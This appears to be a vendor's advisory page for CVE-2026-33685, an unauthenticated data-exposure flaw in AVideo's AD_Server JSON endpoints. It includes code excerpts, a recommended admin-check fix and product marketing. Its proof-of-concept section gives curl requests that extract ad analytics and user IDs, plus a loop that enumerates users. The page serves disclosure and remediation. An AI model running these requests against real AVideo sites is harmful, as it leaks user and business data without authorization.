CVE-2026-33685 is a medium-severity (CVSS 5.3) CWE-862 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33685.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33685 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.
Details
The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:
if (!User::isAdmin()) {
forbiddenPage(__("You cannot do this"));
exit;
}
And plugin/AD_Server/getCSV.php:4-6:
if (!User::isAdmin()) {
forbiddenPage('You must be Admin');
}
The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.
Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.
PoC
# 1. Get all ad performance by video — returns video titles, user channel names,
# user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'
# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name
# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'
# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id
# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'
# Expected: JSON array with type, total_ads, campaign_name
# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'
# Expected: JSON array with type, total_ads, campaign_name
# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done
# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'
# Expected: {"error":false,"msg":"","views":12345}
Impact
An unauthenticated attacker can:
- Enumerate platform users: Extract user IDs and channel names by iterating
users_idvalues via theadsByUserreport type - Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
- Map video-to-user relationships: Determine which user owns which video and their ad revenue performance
- Competitive intelligence: On multi-tenant instances, one content creator could extract another's ad performance data
The data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.
Recommended Fix
Add User::isAdmin() checks to both reports.json.php and getData.json.php, matching the pattern used by reports.php and getCSV.php:
plugin/AD_Server/reports.json.php — add after line 5:
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => 'You must be an admin to access this resource']));
}
plugin/AD_Server/getData.json.php — add after line 4:
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33685 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33685 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33685. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33685 in your dependencies?
O3 Security finds CVE-2026-33685 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.